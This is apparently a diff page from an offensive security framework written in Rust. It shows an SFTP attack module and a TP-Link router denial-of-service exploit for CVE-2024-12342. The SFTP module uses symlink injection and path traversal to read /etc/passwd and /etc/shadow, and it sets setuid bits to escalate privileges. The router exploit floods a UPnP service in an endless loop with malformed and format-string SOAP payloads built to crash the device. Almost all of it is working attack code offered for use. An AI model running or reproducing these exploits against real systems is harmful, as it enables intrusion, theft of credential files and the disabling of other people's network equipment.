use crate::utils::{normalize_target, validate_file_path};
use ssh2::Session;
use std::{
io::{Read, Write},
net::TcpStream,
path::Path,
time::Duration,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - SFTP Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH sftp-server.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Symlink Injection (process_symlink) ║".cyan());
println!("{}", "║ 2. Setuid Bit Attack (process_setstat 07777) ║".cyan());
println!("{}", "║ 3. Path Traversal (process_open) ║".cyan());
println!("{}", "║ 4. Partial Write Race (process_write) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// SFTP Symlink Attack - Create symlink to sensitive file
///
/// Vulnerability: sftp-server.c process_symlink() does not validate symlink target.
/// Client can create symlinks pointing anywhere, bypassing chroot restrictions.
pub async fn attack_sftp_symlink(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
target_file: &str,
link_name: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Symlink Attack on {}", host).cyan());
println!("{}", format!("[*] Target file: {}", target_file).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let link_path = link_name
.map(|s| s.to_string())
.unwrap_or_else(|| format!("/tmp/.symlink_attack_{}", std::process::id()));
// Create symlink to target (this is the vulnerability)
// sftp-server.c:1491: r = symlink(oldpath, newpath);
match sftp.symlink(Path::new(target_file), Path::new(&link_path)) {
Ok(_) => {
println!("{}", format!("[VULN] Created symlink: {} -> {}", link_path, target_file).red().bold());
// Try to read through symlink
match sftp.open(Path::new(&link_path)) {
Ok(mut file) => {
let mut content = String::new();
if file.read_to_string(&mut content).is_ok() {
println!("{}", format!("[PWNED] Read {} via symlink:", target_file).red().bold());
println!();
// Show first 500 chars
let preview: String = content.chars().take(500).collect();
println!("{}", preview);
println!();
}
}
Err(e) => {
println!("{}", format!("[!] Read failed (may need permissions): {}", e).yellow());
}
}
// Cleanup
let _ = sftp.unlink(Path::new(&link_path));
// Explicit session cleanup
drop(sess);
Ok(true)
}
Err(e) => {
println!("{}", format!("[-] Symlink attack failed: {}", e).red());
// Explicit session cleanup on error
drop(sess);
Ok(false)
}
}
}
/// SFTP chmod Setuid Attack - Set setuid bit on uploaded file
///
/// Vulnerability: sftp-server.c process_setstat() uses 07777 mask.
/// This allows setting setuid(04000), setgid(02000), sticky(01000) bits.
pub async fn attack_sftp_setuid(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
target_file: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Setuid Attack on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let test_file = target_file
.map(|s| s.to_string())
.unwrap_or_else(|| format!("/tmp/setuid_test_{}", std::process::id()));
// Create test file
{
let mut file = sftp.create(Path::new(&test_file))?;
file.write_all(b"#!/bin/sh\nid\n")?;
}
println!("{}", format!("[*] Created test file: {}", test_file).cyan());
// Try to set setuid bit (0o4755 = setuid + rwxr-xr-x)
// sftp-server.c:1102: r = chmod(name, a.perm & 07777);
match sftp.setstat(Path::new(&test_file), ssh2::FileStat {
size: None,
uid: None,
gid: None,
perm: Some(0o4755),
atime: None,
mtime: None,
}) {
Ok(_) => {
// Verify
match sftp.stat(Path::new(&test_file)) {
Ok(stat) => {
if let Some(mode) = stat.perm {
let mode_masked = mode & 0o7777;
if mode_masked & 0o4000 != 0 {
println!("{}", format!("[VULN] Setuid bit set! Mode: {:o}", mode_masked).red().bold());
println!("{}", format!("[PWNED] File {} has setuid bit", test_file).red().bold());
let _ = sftp.unlink(Path::new(&test_file));
// Explicit session cleanup
drop(sess);
return Ok(true);
} else {
println!("{}", format!("[*] Setuid stripped. Mode: {:o}", mode_masked).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[!] Stat failed: {}", e).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[-] Chmod failed: {}", e).red());
}
}
// Cleanup
let _ = sftp.unlink(Path::new(&test_file));
// Explicit session cleanup
drop(sess);
Ok(false)
}
/// SFTP Path Traversal - Attempt to access files outside allowed directory
pub async fn attack_sftp_traversal(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
target_path: &str,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Path Traversal on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let traversal_paths = vec![
target_path.to_string(),
format!("../../../..{}", target_path),
format!("....//....//....//..../{}", target_path),
format!("/..{}", target_path),
format!("/./{}", target_path),
];
for path in &traversal_paths {
println!("{}", format!("[*] Trying: {}", path).cyan());
match sftp.open(Path::new(path)) {
Ok(mut file) => {
let mut content = String::new();
if file.read_to_string(&mut content).is_ok() {
println!("{}", "[VULN] Path traversal successful!".red().bold());
println!();
let preview: String = content.chars().take(200).collect();
println!("{}", preview);
println!();
// Explicit session cleanup
drop(sess);
return Ok(true);
}
}
Err(e) => {
let err_str = e.to_string();
if err_str.contains("Permission denied") {
println!("{}", "[*] Permission denied (chroot may be working)".dimmed());
} else if err_str.contains("No such file") {
println!("{}", "[*] File not found".dimmed());
} else {
println!("{}", format!("[*] Blocked: {}", e).dimmed());
}
}
}
}
println!("{}", "[-] Path traversal blocked".yellow());
// Explicit session cleanup
drop(sess);
Ok(false)
}
/// SFTP Partial Write Attack - Exploit atomicity issues in writes
///
/// Vulnerability: sftp-server.c process_write() may not complete writes atomically.
pub async fn attack_sftp_partial_write(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Partial Write Attack on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let test_file = format!("/tmp/partial_write_test_{}", std::process::id());
println!("{}", "[*] Testing partial write scenarios...".cyan());
// Test 1: Large write that might be split
let large_data = vec![b'A'; 1024 * 1024]; // 1MB
match sftp.create(Path::new(&test_file)) {
Ok(mut file) => {
match file.write_all(&large_data) {
Ok(_) => {
// Verify write completed
match sftp.stat(Path::new(&test_file)) {
Ok(stat) => {
if let Some(size) = stat.size {
if size as usize == large_data.len() {
println!("{}", format!("[+] Full write completed: {} bytes", size).green());
} else {
println!("{}", format!("[VULN] Partial write! Expected {}, got {}", large_data.len(), size).red().bold());
let _ = sftp.unlink(Path::new(&test_file));
// Explicit session cleanup
drop(sess);
return Ok(true);
}
}
}
Err(e) => {
println!("{}", format!("[!] Stat failed: {}", e).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[*] Write test: {}", e).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[-] Create failed: {}", e).red());
}
}
// Cleanup
let _ = sftp.unlink(Path::new(&test_file));
// Explicit session cleanup
drop(sess);
println!("{}", "[*] Partial write testing complete".cyan());
println!("{}", "[*] Note: Race conditions require concurrent access testing".yellow());
Ok(false)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
// Validate keyfile path if provided
if let Some(ref kf) = keyfile {
validate_file_path(kf, true)
.map_err(|e| anyhow!("Invalid keyfile path: {}", e))?;
}
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Symlink Injection (read sensitive files)");
println!(" 2. Setuid Bit Attack (privilege escalation)");
println!(" 3. Path Traversal (escape chroot)");
println!(" 4. Partial Write Test (race condition)");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "5").await?;
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
let target_file = prompt_default("Target file to read", "/etc/passwd").await?;
attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, &target_file, None).await?;
}
"2" => {
attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await?;
}
"3" => {
let target_path = prompt_default("Target path", "/etc/passwd").await?;
attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, &target_path).await?;
}
"4" => {
attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All SFTP Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Symlink Injection ---".cyan());
let _ = attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, "/etc/passwd", None).await;
println!();
println!("{}", "--- Attack 2: Setuid Bit ---".cyan());
let _ = attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await;
println!();
println!("{}", "--- Attack 3: Path Traversal ---".cyan());
let _ = attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, "/etc/shadow").await;
println!();
println!("{}", "--- Attack 4: Partial Write ---".cyan());
let _ = attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await;
}
}
println!();
println!("{}", "[*] SFTP attack module complete".green());
Ok(())
}
+3
View File
@@ -0,0 +1,3 @@
pub mod tp_link_vn020_dos;
pub mod tplink_wr740n_dos;
pub mod tplink_tapo_c200;
@@ -0,0 +1,133 @@
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
// Exploit Author: Mohamed Maatallah
// Ported to Rust
use anyhow::{Context, Result};
use colored::*;
use crate::utils::normalize_target;
use reqwest::Client;
use std::io::{self, BufRead};
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::thread;
use std::time::Duration;
use tokio::join;
// Use framework's normalize_target utility - removed custom implementation
/// Send the malformed AddPortMapping SOAP request (PoC 1)
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
// Missing parameters PoC - will crash the router
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping>
<NewPortMappingDescription>hello</NewPortMappingDescription>
</u:AddPortMapping>
</s:Body>
</s:Envelope>"#;
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 1 (Missing Parameters)")?;
println!("[+] PoC 1 sent. Status: {}", res.status());
Ok(())
}
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
// Memory corruption PoC using format string overflow
let long_payload = "%x".repeat(10_000);
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = format!(
r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewConnectionType>{}</NewConnectionType>
</u:SetConnectionType>
</s:Body>
</s:Envelope>"#,
long_payload
);
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 2 (Memory Corruption)")?;
println!("[+] PoC 2 sent. Status: {}", res.status());
Ok(())
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ TP-Link VN020-F3v(T) Denial of Service Exploit ║".cyan());
println!("{}", "║ CVE-2024-12342 ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!("{}", "[!] This module will NOT stop automatically.".yellow());
println!("{}", "[!] Type 'stop' and press ENTER to terminate the attack.".yellow());
}
/// Entry point for the exploit module
pub async fn run(raw_target: &str) -> Result<()> {
// Normalize target
let target = normalize_target(raw_target)?;
print_banner();
// Create HTTP client with insecure certs accepted and 5s timeout
let client = Client::builder()
.timeout(Duration::from_secs(5))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
let stop_flag = Arc::new(AtomicBool::new(false));
let stop_flag_clone = Arc::clone(&stop_flag);
// Monitor stdin for "stop" command
thread::spawn(move || {
let stdin = io::stdin();
for line in stdin.lock().lines() {
if let Ok(input) = line {
if input.trim().eq_ignore_ascii_case("stop") {
stop_flag_clone.store(true, Ordering::Relaxed);
println!("[*] Stopping attack...");
break;
}
}
}
});
// Continuous dual PoC attack until user stops
while !stop_flag.load(Ordering::Relaxed) {
let (r1, r2) = join!(
dos_missing_parameters(&client, &target),
dos_memory_corruption(&client, &target)
);
if let Err(e) = r1 {
eprintln!("[!] Error during PoC 1: {e}");
}
if let Err(e) = r2 {
eprintln!("[!] Error during PoC 2: {e}");
}
}
println!("[+] Exploit session ended.");
Ok(())
}

Some files were not shown because too many files have changed in this diff Show More